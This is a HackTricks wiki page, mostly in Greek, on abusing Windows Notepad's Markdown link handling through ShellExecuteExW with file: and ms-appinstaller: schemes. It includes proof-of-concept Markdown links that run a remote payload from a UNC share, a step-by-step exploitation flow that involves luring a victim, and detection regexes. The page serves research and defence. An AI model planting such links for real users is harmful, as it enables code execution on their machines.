Windows Protocol Handler / ShellExecute Abuse (Markdown Renderers)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Οι σύγχρονες εφαρμογές Windows που αποδίδουν Markdown/HTML συχνά μετατρέπουν τους συνδέσμους που παρέχει ο χρήστης σε στοιχεία που μπορούν να κλικαριστούν και τους περνάνε στο ShellExecuteExW. Χωρίς αυστηρό scheme allowlisting, οποιοσδήποτε καταχωρημένος protocol handler (π.χ. file:, ms-appinstaller:) μπορεί να ενεργοποιηθεί, οδηγώντας σε εκτέλεση κώδικα στο τρέχον user context.
ShellExecuteExW surface in Windows Notepad Markdown mode
- Notepad επιλέγει Markdown mode μόνο για επεκτάσεις
.mdμέσω μιας σταθερής σύγκρισης συμβολοσειρών στοsub_1400ED5D0(). - Υποστηριζόμενοι Markdown σύνδεσμοι:
- Standard:
[text](target) - Autolink:
<target>(rendered as[target](target)), έτσι και οι δύο συντακτικές μορφές έχουν σημασία για payloads και detections. - Τα κλικ στους συνδέσμους επεξεργάζονται στο
sub_140170F60(), που πραγματοποιεί αδύναμο φιλτράρισμα και στη συνέχεια καλείShellExecuteExW. ShellExecuteExWδιαβιβάζει την κλήση σε any configured protocol handler, όχι μόνο σε HTTP(S).
Payload considerations
- Οποιαδήποτε ακολουθία
\\στον σύνδεσμο κανονικοποιείται σε\πριν τοShellExecuteExW, επηρεάζοντας τη δημιουργία UNC/path και την ανίχνευση. - Τα αρχεία
.mdδεν είναι συνδεδεμένα με το Notepad από προεπιλογή· το θύμα πρέπει να ανοίξει το αρχείο στο Notepad και να κάνει κλικ στον σύνδεσμο, αλλά μόλις αποδοθεί, ο σύνδεσμος μπορεί να κλικαριστεί. - Επικίνδυνα παραδείγματα schemes:
file://για να εκκινήσει τοπικό/UNC payload.ms-appinstaller://για να ενεργοποιήσει ροές του App Installer. Άλλα τοπικά καταχωρημένα schemes μπορεί επίσης να είναι εκμεταλλεύσιμα.
Minimal PoC Markdown
[run](file://\\192.0.2.10\\share\\evil.exe)
<ms-appinstaller://\\192.0.2.10\\share\\pkg.appinstaller>
Ροή εκμετάλλευσης
- Δημιουργήστε ένα
.mdαρχείο ώστε το Notepad να το εμφανίζει ως Markdown. - Ενσωματώστε έναν σύνδεσμο χρησιμοποιώντας ένα επικίνδυνο σχήμα URI (
file:,ms-appinstaller:, ή οποιονδήποτε εγκατεστημένο handler). - Παραδώστε το αρχείο (HTTP/HTTPS/FTP/IMAP/NFS/POP3/SMTP/SMB ή παρόμοιο) και πείστε τον χρήστη να το ανοίξει στο Notepad.
- Με το κλικ, ο κανονικοποιημένος σύνδεσμος παραδίδεται στη
ShellExecuteExWκαι ο αντίστοιχος χειριστής πρωτοκόλλου εκτελεί το αναφερόμενο περιεχόμενο στο περιβάλλον του χρήστη.
Ιδέες ανίχνευσης
- Παρακολουθήστε μεταφορές
.mdαρχείων μέσω θυρών/πρωτοκόλλων που συνήθως διανέμουν έγγραφα:20/21 (FTP),80 (HTTP),443 (HTTPS),110 (POP3),143 (IMAP),25/587 (SMTP),139/445 (SMB/CIFS),2049 (NFS),111 (portmap). - Αναλύστε συνδέσμους Markdown (τυπικούς και autolink) και αναζητήστε μη ευαίσθητο σε πεζά/κεφαλαία
file:ήms-appinstaller:. - Regex που προτείνει ο vendor για την ανίχνευση πρόσβασης σε απομακρυσμένους πόρους:
(\x3C|\[[^\x5d]+\]\()file:(\x2f|\x5c\x5c){4}
(\x3C|\[[^\x5d]+\]\()ms-appinstaller:(\x2f|\x5c\x5c){2}
- Η συμπεριφορά του patch αναφέρεται ότι allowlists local files and HTTP(S)· οτιδήποτε άλλο που φτάνει στο
ShellExecuteExWείναι ύποπτο. Επεκτείνετε τις ανιχνεύσεις σε άλλους εγκατεστημένους protocol handlers όπως χρειάζεται, καθώς η attack surface διαφέρει ανά σύστημα.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


